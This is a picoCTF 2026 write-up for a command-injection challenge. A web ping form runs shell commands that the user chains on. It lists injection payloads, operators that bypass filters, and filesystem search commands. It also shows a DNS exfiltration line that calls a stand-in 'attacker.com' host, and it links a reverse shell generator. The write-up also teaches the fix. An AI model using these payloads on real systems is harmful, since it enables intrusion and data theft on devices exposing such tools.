ping-cmd picoCTF 2026 Solution

Published: March 20, 2026

Description

Can you make the server reveal its secrets? It seems to be able to ping Google DNS, but what happens if you get a little creative with your input?

Launch the challenge instance and open the web interface.

The site accepts an IP address and runs ping against it.

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1
    Identify the injection point
    Observation
    I noticed the web interface accepts a user-supplied IP address and feeds it directly to a ping command, which suggested the input was being concatenated into a shell command without sanitisation and that shell metacharacters could chain additional commands.
    The web app takes a user-supplied IP and passes it directly to the shell's ping command without sanitisation. This allows command injection by appending shell operators.
    Learn more

    Command injection occurs when user-controlled input is concatenated into a shell command string and executed by a system shell. The classic example is a web "ping tool" that constructs the command as ping -c 4 <user_input> and passes it to shell_exec(), os.system(), subprocess.run(shell=True), or equivalent. Since shells interpret special characters, appending one to the input lets you run arbitrary additional commands.

    The full operator menu, in order of how often you should reach for them:

    • ;  run the next command unconditionally after the ping finishes.
    • |  pipe ping's stdout into the injected command (also useful for hiding ping noise).
    • &&  run only if ping exited 0; || runs only if ping failed (handy when the IP is filtered).
    • &  background ping and immediately run the next command.
    • `cmd` and $(cmd)  command substitution; the result of cmd is spliced in where the input goes.
    • %0a  URL-encoded newline. Bypasses naive blocklists that strip ; and |.
    • ${IFS} or %09  substitutes for spaces if whitespace is filtered.

    This vulnerability class is ranked in the OWASP Top 10 as "Injection" (A03). For the broader pattern catalogue see the Command injection for CTF post and Web challenges and real-world bug patterns. Network devices (routers, switches, NAS boxes) are particularly common victims because they often expose diagnostic tools like ping through a web UI.

  2. Step 2
    Recon, then inject
    Observation
    I noticed that assuming the flag lives at /flag.txt would waste attempts if the path is wrong, so I ran '8.8.8.8; ls' first to confirm the working directory contents and saw flag.txt alongside script.txt before reading either file.
    Start with plain ls (no path) to list the current working directory. In this challenge, flag.txt and script.txt are both in the working directory, not at the filesystem root. Read script.txt first to confirm how the server handles your input, then cat flag.txt to get the flag.
    bash
    8.8.8.8; ls
    bash
    8.8.8.8; cat script.txt
    bash
    8.8.8.8; cat flag.txt

    Expected output

    picoCTF{c0mmand_1nj3ct10n_...}
    What didn't work first

    Tried: Injecting directly at the root with '8.8.8.8; cat /flag.txt' before doing any recon.

    The flag in this challenge lives in the server's working directory, not at /flag.txt. Running cat /flag.txt returns 'No such file or directory', which can make you think injection is not working at all. Running '8.8.8.8; ls' first reveals flag.txt in the current directory and removes the guesswork.

    Tried: Trying '8.8.8.8 && cat flag.txt' when the semicolon appears to do nothing.

    The && operator only runs the second command if ping exits with status 0. If the server resolves 8.8.8.8 but the ping binary exits non-zero due to packet loss or firewall rules, the injected command is silently skipped. The semicolon (;) runs the second command unconditionally regardless of ping's exit code, making it far more reliable for blind-testing injection.

    Learn more

    The payload 8.8.8.8; cat flag.txt works because the shell first executes ping -c 4 8.8.8.8, and then (because of the ; operator) executes cat flag.txt in the server's working directory. Both outputs are returned to the page, so the flag appears mixed with ping statistics.

    Reading script.txt before the flag confirms the vulnerability: the server reads the domain input and concatenates it directly into the ping command without sanitisation, which is exactly what makes the injection work. This recon step turns a guess into a verified exploit.

    When the flag location is less obvious, expand discovery: ls / to list the root directory, find / -name "*flag*" -type f 2>/dev/null to scan the whole filesystem (2>/dev/null swallows permission errors that would otherwise drown out the hit), and env | grep -i flag to check environment variables. Common locations: /flag.txt, /flag, /home/ctf-player/flag.txt, /root/flag.txt.

    If the semicolon is filtered, swap in any of the alternative operators above (pipe, &&, %0a, backticks). If even the alternatives are blocked, look for blind injection paths: trigger a sleep 5 and watch response time, or exfiltrate via DNS with nslookup $(whoami).attacker.com.

  3. Step 3
    Read the flag output
    Observation
    I noticed the server reflected all command output directly in the page response after the ping statistics, which confirmed in-band injection and meant the flag from 'cat flag.txt' would appear in the same response without any out-of-band exfiltration needed.
    The server executes the injected command and returns the output in the page response, revealing the flag.
    Learn more

    When command injection is successful and the output is reflected in the response (as in this challenge), it's called in-band command injection. You see the results directly. More difficult variants include blind command injection, where there is no output reflection and you must use time delays (sleep 5) or out-of-band channels (DNS lookups, HTTP requests to an attacker-controlled server) to confirm execution and exfiltrate data.

    The single most important defensive fix is to not hand user input to a shell. The contrast looks like this:

    # VULNERABLE: shell concatenation
    import subprocess
    subprocess.run('ping -c 4 ' + ip, shell=True)
    
    # SAFE: argv list, no shell
    subprocess.run(['ping', '-c', '4', ip])

    The list form passes ip directly as a single argv[1] to the ping binary. The metacharacters lose their meaning because there's no shell to interpret them. Pair this with strict allowlist validation (e.g. ipaddress.ip_address(ip)) and the bug class disappears entirely.

    Tools like commix automate detection and exploitation, similar to how sqlmap automates SQL injection. Understanding how to exploit it manually first is important before reaching for automated tools.

Interactive tools
  • Reverse Shell GeneratorGenerate reverse shell payloads (bash, nc, python, perl, ruby, php, node, powershell) and matching listeners. Set host and port once, copy any variant.

Flag

Reveal flag

picoCTF{c0mmand_1nj3ct10n_...}

The flag is revealed directly in the ping output after command injection.

Key takeaway

Command injection occurs when an application passes user input to a system shell without separating it from the command syntax, allowing shell metacharacters like semicolons, pipes, and backticks to chain new commands. The root fix is structural: pass arguments as a list to the subprocess API so the shell is never involved, and validate inputs against a strict allowlist before they reach any execution path. Web-based diagnostic tools (ping, traceroute, DNS lookup) are among the most common real-world injection surfaces because developers underestimate that a network utility form is also a potential remote code execution endpoint.

How to prevent this

Command injection has one root cause: handing user input to a shell. Cut the shell out of the loop.

  • Pass arguments as a list, not a concatenated string. subprocess.run(["ping", "-c", "4", user_ip]) in Python; execFile("ping", ["-c", "4", user_ip]) in Node. No shell=True, ever.
  • Validate the input against a strict allowlist before it touches the executor. For an IP form, parse it through ipaddress.ip_address() (Python) or net.ParseIP()(Go) and reject anything that doesn't round-trip cleanly. Allowlist beats blocklist every time.
  • Do you actually need to shell out? A library call (scapy, an ICMP socket, or a managed health-check service) removes the attack surface entirely. The safest shell command is the one you don't run.

Related reading

Want more picoCTF 2026 writeups?

Useful tools for General Skills

What to try next